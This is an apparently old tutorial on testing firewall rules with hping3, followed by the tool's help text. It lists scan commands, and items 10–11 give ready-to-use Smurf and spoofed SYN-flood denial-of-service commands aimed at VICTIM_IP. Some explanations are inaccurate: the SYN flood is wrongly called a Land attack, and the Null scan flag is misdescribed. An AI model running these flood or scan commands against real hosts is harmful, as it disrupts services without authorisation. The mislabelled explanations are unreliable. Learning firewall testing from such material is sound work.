Testing firewall rules with Hping3 - examples

Mon, 05 Jul 2010

1. Testing ICMP: In this example hping3 will behave like a normal ping utility, sending ICMP-echo und receiving ICMP-reply

hping3 -1 0daysecurity.com

2. Traceroute using ICMP: This example is similar to famous utilities like tracert (windows) or traceroute (linux) who uses ICMP packets increasing every time in 1 its TTL value.

hping3 --traceroute -V -1 0daysecurity.com

3. Checking port: Here hping3 will send a Syn packet to a specified port (80 in our example). We can control also from which local port will start the scan (5050).

hping3 -V -S -p 80 -s 5050 0daysecurity.com

4. Traceroute to a determined port: A nice feature from Hping3 is that you can do a traceroute to a specified port watching where your packet is blocked. It can just be done by adding --traceroute to the last command.

hping3 --traceroute -V -S -p 80 -s 5050 0daysecurity.com

5. Other types of ICMP: This example sends a ICMP address mask request ( Type 17 ).

hping3 -c 1 -V -1 -C 17 0daysecurity.com

6. Other types of Port Scanning: First type we will try is the FIN scan. In a TCP connection the FIN flag is used to start the connection closing routine. If we do not receive a reply, that means the port is open. Normally firewalls send a RST+ACK packet back to signal that the port is closed..

hping3 -c 1 -V -p 80 -s 5050 -F 0daysecurity.com

7. Ack Scan: This scan can be used to see if a host is alive (when Ping is blocked for example). This should send a RST response back if the port is open.

hping3 -c 1 -V -p 80 -s 5050 -A 0daysecurity.com

8. Xmas Scan: This scan sets the sequence number to zero and set the URG + PSH + FIN flags in the packet. If the target device's TCP port is closed, the target device sends a TCP RST packet in reply. If the target device's TCP port is open, the target discards the TCP Xmas scan, sending no reply.

hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 0daysecurity.com

9. Null Scan: This scan sets the sequence number to zero and have no flags set in the packet. If the target device's TCP port is closed, the target device sends a TCP RST packet in reply. If the target device's TCP port is open, the target discards the TCP NULL scan, sending no reply.

hping3 -c 1 -V -p 80 -s 5050 -Y 0daysecurity.com

10. Smurf Attack: This is a type of denial-of-service attack that floods a target system via spoofed broadcast ping messages.

hping3 -1 --flood -a VICTIM_IP BROADCAST_ADDRESS

11. DOS Land Attack:

hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP
  • --flood: sent packets as fast as possible. Don't show replies.
  • --rand-dest: random destionation address mode. see the man.
  • -V <-- Verbose
  • -c --count: packet count
  • -d --data: data size
  • -S --syn: set SYN flag
  • -w --win: winsize (default 64)
  • -p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec
  • -s --baseport: base source port (default random)

Anex A Hping3 Help

usage: hping3 host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
--faster alias for -i u1000 (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
--beep beep for every matching packet received

Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode

IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set dont fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode


ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options


UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime


Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode


ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)